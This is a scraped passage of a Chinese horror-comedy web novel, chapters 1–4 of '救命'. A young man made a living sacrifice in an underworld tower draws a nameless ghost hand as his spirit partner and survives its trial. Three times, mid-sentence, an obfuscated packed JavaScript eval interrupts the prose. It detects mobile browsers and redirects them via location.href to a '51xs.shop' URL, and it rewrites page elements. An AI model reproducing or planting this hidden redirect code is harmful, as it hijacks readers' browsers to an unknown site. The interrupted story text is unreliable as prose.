《救命》 1. 成为活祭 方休睁开眼,看见了竖起来的地面。 过了几秒,他才意识到自己倒在地上,右脸紧贴泥土。方休晕晕乎乎爬起来,脑袋还有点懵。 耳边响起模糊的唢呐声,声音时断时续,听不出是喜乐还是哀乐。方休凝神去听,那声音又消失了。 周围又黑又冷,不远处,一圈大红灯笼轻轻摇摆。 方休终于清醒过来。那堆灯笼分明在十几米外,他的房间可没有这样大。 上一秒他还躺在被窝里,下一秒就摔到了这个破地方。 他的睡衣不翼而飞,莫名换成了赤红T恤。这件T恤他认识,家里人送的,他非常喜欢。 见了鬼了。 难不成自己梦中猝死,火化时套了最喜欢的T恤,无缝直达地府?方休赶忙摸遍全身,呼吸还在,心跳有力,大概算活着。 活着就好,他松了口气。 ……然后这口气吹上了面前的人脸。 方休:“?” 一张脸不知何时出现在面前,离他不到半米远。 人脸惨白如纸,嘴巴咧着僵硬的笑,眼睛不似常人一左一右,而是呈“二”字上下排列,眼角往外裂开。 单看五官,这张脸属于六七岁的孩童,可它飘得和方休一样高——它面具般悬在黑暗中,散发出纸张燃烧的焦味。 方休:“……!” 谢天谢地,可算出现了问路对象。 打小开始,他就对妖魔鬼怪没有特殊想法。无论遇到恶人还是恶鬼,最差就是丢掉一条命。再者,要比较活人和邪祟的凶残程度,结果还真不好说。 遇到陌生鬼和遇到陌生人差不多嘛。 方休露出亲切的笑容:“您好。” 人脸回以更热烈的微笑,既不回答,也不动弹,这让方休有点失望。不过这里既然有人,附近可能还有其他人。 他平和地移开视线,朝红灯笼前进。 人脸僵了片刻,飞快飘回方休眼皮底下,几乎与方休脸贴脸。 太近了,有点不礼貌。 方休皱皱眉,绕过人脸,就像它在强塞传单。 人脸笑容缓缓消失,它再次执着地飘到方休跟前。两双眼睛沉默对视,很难说谁的表情更无语。 几次堵截后,方休配合地停了下来。 倒不是他脾气多好,主要是那圈红灯笼看起来很近,方休走出五六米,却好像在原地打转。没准自己走错了路,人脸是在提醒他。 方休心平气和:“您好,有事吗?” 人脸逐渐扭曲:“……你就想问这个?” 它的声音尖细难听,里面还掺了许多不爽。 “原来您会说话!”方休很惊喜,“劳驾问下,怎么离开这里?” 这个问题仿佛触发关键词,人脸顿时来了精神。它绕着方休飘了一圈,阴惨惨地笑:“离开这里?想得早咯,想得早咯。” “来这儿的都是活祭,为的是消灾解厄。你要扛过八次祭祀,才配走出一条生路……” 人脸讲得拿腔拿调,方休听得十分认真。时间一分一秒过去,他渐渐捋清了现况: 地府把他绑票了。 地府将他关在这个叫作“解厄塔”的地方。 地府要他这个大活人充当祭品,努力在某种祭祀中存活,完成生存KPI才能离开。 听起来像抓人打白工,还是高危工种。方休望向滔滔不绝的人脸,情绪逐渐低落:“那除了‘离开这里’,还有没有其他奖励?” 人脸:“啊?” 奖励?正常人会在这种时候考虑奖励吗? 从一开始,它就拼命渲染恐怖气氛。谁想此人少根筋,它该说的都说了,该走的流程也走了,但就是莫名憋屈。 比如现在,它本应该趁对方绝望恐惧,抛出“最终奖励”这个诱饵。 然而—— “如果只需要活祭,你们大可以把我弄晕扔祭坛。” 方休实事求是道,“您又是指明生路,又是解说规则。我要是能活下来,好像对你们有好处。” 方休话说得客气,脸上却明白写着“地府堂堂千年老店,别太抠门”。 人脸:“……” “你若能活过八次祭祀,地府帮你实现一个愿望。”主导权死活抢不回来,人脸表情有点垮。 “什么愿望都行?”方休眉头动了动。 人脸不情不愿地补充:“不,愿望必须在你的因果之中。” 它说得含混晦涩,好在方休听过类似说法。 因果之中,是说愿望对象必须和方休本人有所关联;愿望内容同理,并且不能脱离现实。 比如说,方休无法让毫无交集的公众人物裸奔,也不能许愿外星人来家里做客。但他可以要求仇人上吊自杀,或者自己彩票中奖。 和他猜想的差不多,奖励还算合理。 事已至此,他人生地不熟,又没法以一人之力反抗地府。来都来了,先这样吧。 “我知道了,那咱们走?”方休的热情再次回归。 这次方休主动靠近,人脸反而一脸便秘地飘远,好像在纠结台词。 “对了,还有没有其他支援?” 方休继续凑近,“我不是什么专业人士,活人祭祀听起来就很吓人,你们该不会让我赤手空拳上……” “莫着急,先到地方再说。”人脸没精打采道,飘得更远了。 …… 有人脸指引,方休终于走近了那圈红灯笼。 他刚踏入灯笼圈,周遭唰一下全亮起来。光线不知道从哪里来的,格外阴冷苍白。 方休发现,自己正站在一处古旧院落,那圈灯笼稳稳挂在四边屋檐。 院子中间摆了个棺材似的长香炉。香炉漆成血红,里头挤挤挨挨戳满香柱,燃香带着古怪的甜腥味。 香炉后面挨着木制楼梯,楼梯直通二层,顶端浸入黑暗。院子上方同样漆黑一片,整个院子如同建在墓室内部,古怪又压抑。 倒抽冷气的声音此起彼伏。 方休迅速转头看。事实证明,这鬼地方除了他自己,还有七个倒霉蛋。 其他人由另外七张人脸引着,各有各的惊魂未定。离方休最近的中年妇女抖个不停;方休对面的黑瘦男人尿了裤子,一身腥臊味。 其中最像样的是个年轻男人,此人还算镇定,只是脸色青白、满头冷汗。 “都到啰——” 八张人脸齐齐吆喝,句尾落地,一个孩童纸人从香炉后面探出头来。 那纸人脸部空白,身穿缀满纸花的红袄,体型看不出男女。 八张人脸整齐列队,贴向纸人空白的面孔。它们一层盖一层,贴得严丝合缝,赫然是纸人的一部分。 随着脸皮回归,纸人五官逐渐立体,嘴角越翘越高。 可惜接待方休的人脸表情发苦,不够贴合。这第八张脸皮归位,纸人的邪异笑容歪成了尴尬但不失礼貌的微笑。 纸人努力扯回嘴角,假装无事发生:“……莫慌,莫怕。咱晓得,各位不是玄学道上的。既然咱把各位请来,自然会给些防身手段。” 防身手段! 听到这话,其他七人仿佛绝处逢生,眼中顿时多了几分希望。 “什么防身手段?”那个相对镇定的青年率先开口。 此人眉眼周正,衬衫长裤价值不菲。他跨出两步,颇有点领袖风范,众人视线一下子集中到他身上。 纸人显然很满意这个发展。它咯咯笑着,手探进香炉,从香灰中掏出个脏兮兮的签筒。 签筒上赫然刻着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538415|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八个大字: 【九泉缘起,一世不离】 “恭喜各位,贺喜各位!”纸人兴高采烈道,“邪祟相助——切莫辜负——” “您只消摇支签,就可以召唤厉鬼傍身。有厉鬼守卫,这是天大的好事!” 真棒,身边24小时有鬼。看众人脸色,没人为这个“好消息”高兴。 镇定青年艰难开口:“厉鬼不会害我们吧?” “当然会。邪祟嘛,天性如此。” 纸人嘴角几乎要咧上颧骨,“所以各位得跟它们好生谈谈,事先立个契。等都谈拢了,咱再开始祭祀。” “万一没谈拢……” 纸人:“谈不拢就死,没有办法。您不召也行,后果自负。” 那人顿时僵在原地。 方休能猜到他的想法。 大家被拉来阴间当活祭,对手怎么想都是魑魅魍魉。到时候别人都有厉鬼傍身,就你没有,谁先倒霉不言而喻。 就算和厉鬼谈判失败,今晚暴毙,也算长痛不如短痛了。 果然,镇定青年来了个深呼吸,勇敢地接过签筒。他颤抖着摇出一支签,距离太远,方休看不清签上的字。 接着,那人遵从纸人指示,将签插入地面。地面如同被刺漏,喷出大股灰烟。等灰烟散开,原地多了个人影。 毫无疑问,那是一只画皮。 这只邪祟的特征太过明显——画皮小姐人皮错位,五官扯得变形,眼睛差点耷拉到脖子,皮肤上净是可怖褶痕。 看来她没熨衣服就过来了,方休心想。 画皮咧开歪到咽喉上的嘴,嘻嘻笑个不停。召出她的青年差点没站稳,两人当场呕吐出声。 “下一个。”纸人拉长音调唱道。 明眼人都看得出,作为“防身手段”,这只画皮绝对不弱。镇定青年开了个头,人们顶住恐惧,哆哆嗦嗦抽起签来。 各种奇形怪状的邪祟依次出现,风格与画皮小姐差不多——厉鬼们古怪归古怪,姑且都有人形,看起来可以交流。 除开一个吓慌了神、打死不抽签的大婶,方休排在最后,他第七个走向签筒。 求人不如求己,方休不打算把宝全押在厉鬼身上。 拜托了,弱小没事,难看也无妨,来个好说话的就行。方休在心中祈祷,摇晃布满香灰的签筒。 咔,咔,咔。 一支破旧不堪的签跳了出来。 方休小心拿起那支签,只见签上八个暗红大字:【死死死死死死死死】 真直白,都不用费心解签。就是内容有点不妙,对面看起来不太好说话。 方休:“我能放弃召唤吗?” 见坏就收也是一种策略。 “不能。”纸人言简意赅。 不知道为什么,纸人脸上的疑惑大于幸灾乐祸。它狐疑地看了会儿那支签,低头数签筒里的签数。 方休认命地叹了口气,把那支倒霉签戳进地面。 这次地面喷出的不是灰烟,而是雪白雾气。雾气缓缓消逝,露出了……一只左手。 那只手非常漂亮。手指修长优美,皮肤无瑕如玉。它五指虚拢,食指微松,姿态有点像荷花花苞。 昏暗朦胧的环境中,鬼手仿佛在散发白色微光。 方休屏气凝神,等待鬼手主人现身。可他等来等去,鬼手还是静静杵在原地,只露出手掌和手腕。 他轻轻拽了拽那只手,鬼手冰冷僵硬,纹丝不动。 方休:“……” 好消息,这东西看起来攻击性不强。 坏消息,他要怎么和一只手交流,做笔友吗? 不过当务之急不是这个,得想个办法把它带走。方休活动手腕,在那只左手前蹲下。 “谁有铲子?”他问。 2. 成为室友 方休睁开眼,又一次看见了竖起来的地面。 过了几秒,他才意识到自己倒在地上,右脸紧贴……等等,这个发展有点眼熟。 只见月光幽暗,附近全是漆黑树影。远处山脉连绵起伏,海面般无穷无尽。 阴影中传来潺潺水声,近处有条河。水在夜间黯淡无光,方休只能看到凸出河水的白石块。 太阳穴刺痛不止,方休呻.吟着坐起身。有什么东西重重压在大腿上,看清那东西的刹那,不久前的记忆灌入脑海。 …… 纸人给了方休一把铲子。 方休果断开挖,遗憾的是,他没能顺着鬼手挖到本体。鬼手腕部以下黑灰透明,阴影般融进土地。 于是方休再次转向纸人:“有花盆吗?” 纸人表情越发复杂,它欲言又止,最终转向香炉,扒出个烧纸钱的丧盆。 都是盆,区别不大。方休挥舞铲子,开始移栽大计。 面对这朴素的劳动场面,众人一时忘了害怕,和身边厉鬼一起行注目礼。十几分钟过去,方休还真把鬼手连土带手铲进了盆。 “对不住,耽误大家这么久。” 方休擦擦额头上的汗。丧盆中央,鬼手蔫嗒嗒地垂着。 召唤厉鬼的诡谲气氛整个垮掉,纸人貌似有点自暴自弃。它当场分配小院房间,声称等他们活过今晚,再谈正事。 这话它是瞪着方休说的。 方休问心无愧,鬼手不肯挪窝又不是他的错。他抱紧丧盆,打量自己的新房间。 按照纸人的说法,离开前,他得长期住在这里。 房间呈正方形,麻雀虽小五脏俱全,衣柜书桌一样不缺。床铺靠墙,挺宽敞,床头挨着玻璃隔断的淋浴间。 一间标准的单身公寓。 只有三处让人不太舒服:房间没有窗户,没有厕所,门口处摆了张旧供桌。 供桌是老木头做的,漆皮掉得东一块西一块,桌面还沾着可疑污渍。方休挑剔地抹了把灰,决定把丧盆放在床头柜上。 他可不能亏待这只手,好印象是友善合作的第一步。 方休目光灼灼地注视面前的盆栽,不,鬼手。 这房间不到二十平,情侣同居都嫌挤,其他人被迫和厉鬼同住,压力小不了。 他的厉鬼多好,不仅不占空间,样子还赏心悦目。鬼手和他的手大小差不多,八成是男性的手,共处一室也不会不方便。 “兄弟,想聊聊吗?愿意的话就动一动。”方休试图搭话。 鬼手没反应。 方休嗯了声:“那我先睡会儿,晚安。” 半夜被拉来折腾这么久,他困了。 纸人要求他们活过今晚,没说一定要今晚谈拢。以防万一,方休把鬼手挪到床边。他温柔地掰开鬼手五指,与它十指交握。 他睡觉一向很轻。这样它一动,他就能知道。 …… 记忆在此中断。 “活过今晚”的考验就这样悄无声息开始了。看来自己睡觉没有想象中的轻,方休自觉检讨。 装鬼手的丧盆压在他腿上,沉甸甸的十分真实。丧盆沾着香灰,院里挖出的泥土也还在,鬼手却不知所踪。 这让他有点紧张。 纸人只提过“谈判失败被鬼杀死”和“谈判成功和鬼立契”,没说厉鬼会一声不吭直接出走。难道是他握了人家的手,鬼手不高兴了? 不管这里是幻梦还是现实,他得先找到翘家鬼手。 月光聊胜于无,周遭黑得伸手不见五指。河流尽头闪烁出一点微光,如同一个邀请。 方休沿着河岸,一脚深一脚浅地走向微光。 唢呐声缥缥缈缈,从四面八方传来,吵得人脑袋发晕。幸亏河流声清晰真切,河中央的白石头三五成群,勉强能当路标。 然而没走多久,方休步子越来越慢。 他醒来时是赤脚。地上铺满尖锐碎石,石块时不时扎进脚底、刮掉血肉,还会自己往伤口里钻。 神奇的是,他感觉不到疼痛。 不知不觉间,方休脚底血肉模糊,脚步声从干爽的“嗒哒嗒哒”变成了黏腻的“咕叽咕叽”。血液不停流逝,体力跟着迅速下降。躯体仿佛成了肉口袋,麻木又沉重。 方休大概摸清了眼前的“考验”—— 每走一步,他的血肉就磨损一点,就像限定步数的冒险游戏。 问题是这地方太大了,还暗得要命。一旦走错路,他只能在黑暗中徘徊,双脚慢慢报废。然后他不得不在地上爬,直到磨成一堆碎肉。 设计理念挺歹毒,就是过程实在枯燥。方休忍不住叹气。 唢呐声越发响亮,它像是要渗进脑子,把人的脑髓从耳孔中挤出来。 几步外刚好有棵柳树。方休疲惫地靠上树干,决定歇会儿。 这里离微光还很远。失血速度有点快,不能放着不管,自己得找点东西垫垫脚。 内衣布料太软,派不上用场。裤子又厚又硬,根本撕不开。T恤布料倒是正合适,可是他真的很喜欢这件红T恤…… 有什么东西轻轻扫过他的脸。 方休这才发现,这棵树早已枯死。他默认柳枝的东西,其实是一根根垂下的白布条。白布丛中吊着十几具干瘪尸骨,它们身着褪色寿衣,兀自摇摇晃晃。 其中一双骨脚垂到方休面前,离他的发顶就差几厘米。 面对这白布飘飘,尸体摇荡的怪树。方休屏住呼吸,心跳加速。 老天爷,他看见了什么? ……是野生的绷带! “打扰了。” 方休努力压下兴奋,提前和树上尸骨打了招呼。他轻手轻脚薅下几根白布,布条摸上去异常冰寒,但看起来蛮干净,厚度也合适。 他撤回前言,这个巨型密室逃脱没那么无聊,还是有些别出心裁的小惊喜。 方休往河边一坐,借着流水处理伤口。 也许是在夜色中行走太久,他的眼睛逐渐适应黑暗。方休从伤口里挖出一小把碎石,他惊讶地发现,它们其实是干枯发黄的人齿。 怪不得会主动往血肉深处钻。 方休嫌弃地丢出牙齿,在水面砸出一小片涟漪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538416|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 河中央的白石头被惊动,无声漂近……他眯眼仔细看,那好像不是石头,而是人头。 它们皮肤肿胀,下半张脸沉在水中,只露出外凸的眼球。被水中的血腥味吸引,人头越聚越多,迅速逼近方休流血的双脚。 河面漆黑,它们密密麻麻挨在一起,像极了腐肉上的虫卵。 怎么办,方休想,他还没有清洗好伤口。 他怀里有个丧盆,但丧盆得拿来接鬼手回家。他要是用它洗完脚再去盛人家,未免太那个了。 ……对了,据说野兽害怕敲击声,不知道野生人头又如何。方休突然福至心灵,他随手抓了块骨头,试探着往盆边一敲。 嗡—— 丧盆明明是瓦盆,却发出了穿透力十足的凄冷声响。 近处人头纷纷后撤,与后来者挤成一堆,它们与丧盆保持一臂距离,上百只眼睛死死黏着方休。 嗡——嗡—— 刺耳的声音顺着水面扩散,震得人肺腑发寒。他只是轻轻一敲,丧盆活物般震颤,余音久久不散。 不愧是地府官方出品,真好用。方休松了口气,加快清洗伤口的速度。 他的脚跟已然磨出白骨,几颗牙齿洞穿了他的脚趾。方休高度怀疑,只要路上的牙齿还在,布条垫脚也撑不了多久。 他有种微妙的感觉,自己正在被整个空间咀嚼。 等这座山把他嚼碎,他的牙齿也会铺上地面,去咬别人的脚底板。 要是不乐意,他得提前找根树枝吊死,这样双脚离地,好歹留个全尸;再或者跳河,他搞不好会被编入人头大军……等等,人头大军? 方休看看河岸边的树,又看看河里乌泱泱的人头,突然有了主意。 与此同时,解厄塔的某个房间。 纸人端着铜镜一个劲儿瞧,镜子里正是方休的身影。 镜中景象非常清晰,不止映出了吊尸与人头,还有更远处的无数邪祟——千百只眼睛紧盯方休,就等他迷路或犯忌。 说实话,比起方休,纸人更在意那只鬼手。 签筒里满打满算一百支签,每支签的厉鬼都由地府登记在册,也被它铭记在心。 可它不认得方休抽出来的那只厉鬼。 方休第七个抽完,签筒里剩下九十四支签,纸人每支都能对上号。也就是说,方休抽走了不存在的第一百零一支签。 邪门,太邪门了。之前从没出现过这种事,它得好好观察,详细上报。 ……前提是方休能活过今晚。 这仅仅是初步筛选。厉鬼们会用幻境考察召唤者,合得来就立契,合不来就吃掉,过程简单粗暴。 解厄塔的规则下,幻境将展示厉鬼的本源场景。譬如一间废屋、一处荒坟,最大也不会超过一座宫殿。 然而方休身处的幻境,一眼根本望不到边际,甚至自带丰富的阴间生态圈。这完全不合常理,厉鬼的本源幻境中就不该有其他邪祟存在。 眼下只有一种解释,厉鬼召唤出了大问题。 无论方休召来的是什么,那东西非常、非常不妙。 3. 成为艳鬼 纸人看向其他祭品的铜镜。 其余人的幻境中规中矩。只要他们没有自乱阵脚,保命没问题。解厄塔有规矩,禁止给出无解死局。 可方休这边明明就是死局。 树上有吊尸,若是有人想要取木头垫脚,绝对会被袭击。方休只拿了布条,没损伤枯树,算他运气好。 河中有人头,游泳也行不通,方休必须乖乖在地上走。 其实方休的判断没错,那处微光确实算终点。但是以他的步行速度,死前肯定走不过去。 可惜了,这小子胆子蛮大,本来是个好苗子。 就在纸人唏嘘之时,方休动了—— 方休顺着枯树爬上爬下,解下了所有布条。他把白色布条编成网,紧接着扯下伤口处的血肉,丢向河水。 新鲜人血在水中晕开,人头们一拥而上,疯狂抢食。 下一秒,白布大网从天而降。 传统邪祟哪里领教过现代打窝技术,当场被一网打尽。 人头们集体愣住片刻。 反应过来后,边缘处的人头想要咬断网绳,结果被同类挤得张不开嘴。靠中间的人头想要下沉,又被其他脑袋牵连,不上不下地卡在原处。 它们就这样推来搡去,在河面挤成一团,一副地铁高峰期的热闹景象。 然后方休就这么跳上去了。 就这么跳上去了。 跳上去了。 全程围观的纸人:“……”它头顶一阵幻痛。 五行缺德啊! 这还没完。方休刚刚站稳,就用布条吊了块血肉,安置在“人头筏”一侧,像在驴子跟前吊胡萝卜。 接着他小心踱去另一侧,敲木鱼似的敲丧盆。 人头们瞬间达成共识。临近人肉的那半自主前进,远离人肉的那半逃离丧盆。它们朝着微光方向全速冲锋,翻起层层水花,速度堪比摩托艇。 纸人:“?” 它需要一个比“缺德”更有攻击力的词。 当事人方休开心地乘风破浪,河两侧的树影都顺眼起来。 随着微光接近,岸边枯树变了样式。树上布条由白色换为赤红,吊树尸体穿红戴绿、新鲜饱满,看起来和刚死的一样,怪热闹的。 方休疾驰而过,尸体眼瞳跟着从一个眼角移到另一个眼角。 “晚上好。”方休好心情地招手。 然而抵达目的地后,他的晚上不太好了—— 方休确实找到了离家出走的鬼手,就是数量不太对劲。 那簇美丽微光,正体是一处黯淡山丘。山丘上探出万千只鬼手,那些手自带白色光晕,近看像荧光蘑菇种植园。 哪只手是他的? 还是说这些手像蘑菇一样在地下连接,其实是个整体…… 方休还在琢磨,突然后背一紧。 一只鬼手骤然伸长,硬生生把方休提到半空,附近其他手紧随其后。 无数手腕蛇一般游走,攥牢他的四肢,掐住他的腰腹。无数手指将他淹没,在他的皮肤上蠕动不止。那感觉恍如坠入冰窟,又像陷进一个畸形的拥抱。 方休双眼被冰冷的手掌盖住,两耳被牢牢捂死,连舌头都被冰块似的手指按住了。 一双手在他的脖颈处合围,缓缓绞紧,动作说不清是温柔还是折磨。 其中甚至没有杀意。 嗡—— 丧盆闷声落地,掉在方休脚边。 方休无法呼吸,脖颈青筋毕露,脑髓一胀一胀地疼。他熟悉这种感觉,死亡正在附近盘旋,等他吐出最后一口气。 不,不对劲。 要是他们能1V1打赢厉鬼,那还召厉鬼干嘛?直接人鬼对抗太犯规了,地府绝对存在限制措施。 既然措施没生效,这肯定又是一次考验。 要是在这里简单放弃,那就全完了。 方休用尽力气,缓慢合拢上下颚。 口中手指硬得惊人,方休牙根一阵阵剧痛。可他还是坚定地咬下去,无视钻心的疼痛,无视危险的骨裂声响——就像那不是他的嘴巴,而是一把毫无知觉的钳子。 喀嚓。 鬼手两根手指被他生生咬断。方休对准记忆里的方向,用力吐出断指。 嗡——嗡—— 断指准确砸中丧盆。丧盆一触即响,再次发出寒意十足的声音。 下一刻,方休身上无数鬼手松了松。他趁机拼命挣扎,落回地上。 没了鬼手遮眼,他看见漫天银色锁链。 不知何时,万千根锁链自虚空射出,蛛网般缚住满地鬼手。鬼手不再挣动,静止在夜色之中。 方休咳嗽两声,吐出口中血沫。他选中离自己最近的鬼手,解开银链。 “兄弟,想聊聊吗?愿意的话就动一动。”折腾够了吧,再考验就不礼貌了。 那只手颓废地趴了会儿,朝方休招了招。 方休欣慰地弯下腰,拉住鬼手。那只手猛地收紧五指,往上伸了伸,方休配合地朝外拉——拉不动。 气氛一时有些尴尬。 这回没有铲子,方休不得不两只手攥住鬼手,死命往外拽。鬼手肌肉奇怪地抽动不止,就像地底的东西在不断变形。 锁链烟雾般消散,地面震颤不止。漫山遍野的鬼手缓缓缩入地面,只剩方休抓住的那一只。 唰……! 土壤松得猝不及防。方休正铆足劲儿拔萝鬼,力气没收住,当场摔了个后仰。他拔出来的东西顺势前倒,把他压了个结结实实。 方休刚打算抗议,话语就被眼前景象堵了回去。 ……这家伙也太好看了。 虽说刚从地里出来,对方身上没沾半点泥。他一身白袍、黑发披散,发丝瀑布般垂上方休胸口。 重点是那张脸。 那张脸端正俊丽,乍看十分惊艳,细看却似人而非人,像是过分精美的人偶,让人背后发寒。 尤其是那双眼。它们虹膜雪白,边缘细细一圈浅灰,其中没有任何情绪。多么虚无的白色,方休不禁想到医院盖尸布。 ……但是好看是真好看啊! 爱美之心人皆有之,方休没能免俗。 “你压到我了。”他尽量客气地提醒。 对方缓缓起身,动作僵硬别扭。他斜坐在方休小腿上,似乎没搞清楚怎么站立。 方休:“……” 算了,正事要紧。 “我不会要求你做什么,你就当挂个名,别妨碍我就好。以后我们……嘶!” 话还没说完,方休就看见鬼手主人倾身靠近,手抚上他的面颊。 瞬间,方休视野扭曲畸变,感知整个紊乱。那只手仿佛在揉捏他的脑髓,痛倒是不痛,就是异物入侵的感觉让人发疯。 方休当场呕起来,他胃里没什么食物,只吐出少量酸水。 整个过程持续了五六秒。 “差不多得了,别这么粗暴嘛……” 晕眩感终于消失,方休抹抹脸,人差点被口水呛到。 “说……话……” 鬼手主人开了口。他的声音很好听,话语却对不上口型,活像视频错误。 “……从你那……学说话……” 方休:“?” 这算不算临时抱佛脚,地府到底怎么挑的鬼。 鬼手主人很快学会了声画同步:“我本不想插手……你破了我的局,按照规矩,我必须协助你……” 原来如此。 纸人所谓的谈判,其实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538417|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “厉鬼出题,召唤者解题”。只要召唤者通过考验,不管厉鬼愿不愿意,合作都算成立。 你们厉鬼也不容易。 “放心,我命硬。”方休说,“我真的没啥要求,你自己看着办。” “为什么不求我荫庇?”鬼手主人面无表情地盯着方休。 “大哥,你那根签一大串‘死’字……” ……看起来怨气超重的。 不久前那些血腥考验,方休权当对方公事公办,可那支签多少沾点私人恩怨。 再说下去可能会得罪鬼,方休果断换话题:“我能问问你的,呃,种族吗?” “不能。” “名字呢?” “没有。” 你小子工作态度怎么回事,方休噎住。没名字就算了,“种族不明”实在惹人注意,他可不想找麻烦。 “……那以后有人问,我就说你是艳鬼。”他说。 艳鬼,一种相对无害的常见邪祟。配上对方那张脸,说服力十足。 “好的,立契吧。”对面没有异议。 这么随意?方休陷入沉思。 纸人讲过“立契”流程。合作成立后,人类要交给厉鬼一滴血。这个环节象征意义更大,约等于证件卡个章。 既然如此…… 鬼手主人静静等待,白色眼瞳的倒影里,方休抬起头来。 方休体型偏瘦,皮肤显出亚健康的苍白。他的刘海有点乱,平时眉眼被发丝遮挡,粗看不太起眼。 自从进入幻境,这是方休第一次正儿八经露脸。 他长相俊秀到出人意料,眉眼弯弯,自带笑意,气质有种别样的清爽。鬼手主人见过许多人类,此人样貌绝对算上上等。 只可惜那双眼瞳黑而不亮,略显阴鸷。 “其实人类的脸不是对称的,这种‘不协调’才能让人感受到‘协调’。” 方休郑重地说,“我能让你更像艳鬼。相信我,别动。” 鬼手主人没有动,他的目光一遍遍刮过方休五官,像要把对面人的样貌刻在心里。 方休咬破无名指,往对方脸上轻轻一点—— 鬼手主人左眼下方,多了细细一点血痕,像枚血红小痣。 一痣落成,他那股非人感散去不少,死物般的面庞多了股活气。 “搞定。”方休满意地嘬嘬伤口,“我们可以回去了吗?累死我了。” 铜镜彼方,纸人雷劈一样定在原地。 怎么可能? 鬼手主人设计死局在先,痛下杀手在后。解厄塔禁止厉鬼随便杀祭品,那家伙竟能硬抗规则,拖延地府的救援术法。 幸亏方休扛住了。他歪打正着敲响丧盆、扰动幻境,救援术法才能及时发动。 方休默认鬼手隶属地府,以为自己在走正常流程。那小子压根不知道自己刚刚死里逃生,也不清楚对方有多危险。 眼下,那厉鬼被解厄塔勉强镇住,必须尽快上报异常…… 鬼手主人眼珠突然一动。那双苍白眼瞳透过镜面,径直刺向纸人。 一个短暂的对视。 纸人身边万物扭动不止,恍如搅乱的颜料。瞬息过后,一切又恢复正常。 纸人将铜镜放回原位。 “艳鬼,艳鬼,那小子居然召出了艳鬼。”它啧啧咋舌,神色如常,“突然多根签,咱还想咋回事呢,原来艳鬼混了进来……” 凡事有因有果,人们召出的厉鬼与自身特质息息相关。 区区艳鬼,不足挂齿。亏它还对方休有点兴趣,现在看来就那么回事。纸人拿起写了小半的异常报告,津津有味地咀嚼。 没有异常。没有异常。没有异常。 祭祀必定顺顺利利,一如既往。 4. 消灾解厄 咚咚咚,咚咚咚,咚咚咚。 睡意朦胧间,隐约的敲门声响起。 方休睁开眼,这次他终于在床上醒来。可惜面前不是熟悉的天花板,而是一张不算熟悉的脸。 鬼手主人飘在空中,他背靠天花板,面对面盯着方休。那头长发凶险地垂下,颇有视觉冲击力。 他保留了那枚血红小痣。 “咱们怎么回来的?”方休愉快地眨眨眼。 “那是梦中幻境,现在你醒了。” “这样啊。”方休坐起身。 那果然不是普通的梦。嘴巴里血味没了,丧盆却还在怀里,压得他胸口疼。他双脚完好,脚上白布却沾满血迹,摸起来又冷又黏,还嵌了几颗牙齿。 也不知道有没有弄脏床单,地府不至于收他清洁费吧。 咚咚! 敲门声再次响起。 “早起吃饭,健康长寿——莫带厉鬼,过期不候——”纸人在门口咋咋呼呼,刺耳的声音钻入门缝。 离开房间前,方休只来得及问出一个问题—— “那个谁,你的实力怎么样?” 他不指望对方帮忙,但他得掌握自家搭档的基本情况。 听到这个问题,鬼手主人终于有了表情。 那张漂亮脸孔上多了丝傲气,随后他好像想到了什么,傲气慢慢消失,变成微妙的郁闷。 “一般。”厉鬼小声叹气。他在天花板上翻了个面,脸朝向墙壁。 那股丧劲儿真情实感,不像演的。 方休:“……懂了,那你好好保护自己。” 原来实力不怎么样。昨晚这家伙问他“为什么不求荫庇”的时候,明明蛮有强者风范的。 这样也不错,对方不会过度干涉他的决策,相处起来没压力。 方休深吸一口气,推开门扉。 刹那间,浓郁的腥臭扑面而来,哀嚎差点炸穿方休的耳膜。 那声音来自方休隔壁,房间的古风门扉被砸了几个洞。漆黑洞口里,一个男声惨叫不停。 “救命!救命……!” 男人的悲鸣充满恐惧,“它在吃我,它在吃我……救救我……” 有什么沉重的东西在撞门,门板震颤不止。鲜血与碎肉不断从门缝涌出,它们染红了门口的青石板,不停向小院方向延伸。 小院里多了两张八仙桌,桌上摆满食物。然而没人落座,大家都挤在院子另一侧,紧张地盯着那摊血。 方休粗略看去,加上他自己,院子里只有六个人。少了那个尿裤子的黑瘦男人,还有那个不敢抽签的大婶。 “坐坐坐,随便吃。” 纸人忙着张罗早餐,活像才听见惨叫,“哎呀,那人没谈拢,提前上路啦。这才走了一位,诸位表现不错啊!” 它笑得比昨天热情许多。 方休收回视线。“才走了一位”,看来那个大婶没事,只是躲着不出门。 “大家还是吃饭吧,总得吃点东西。” 镇定青年再次站出来,他气色好了点,语气相当坚定。 “不、不能帮帮他吗?”一个中年妇女咽了口唾沫。 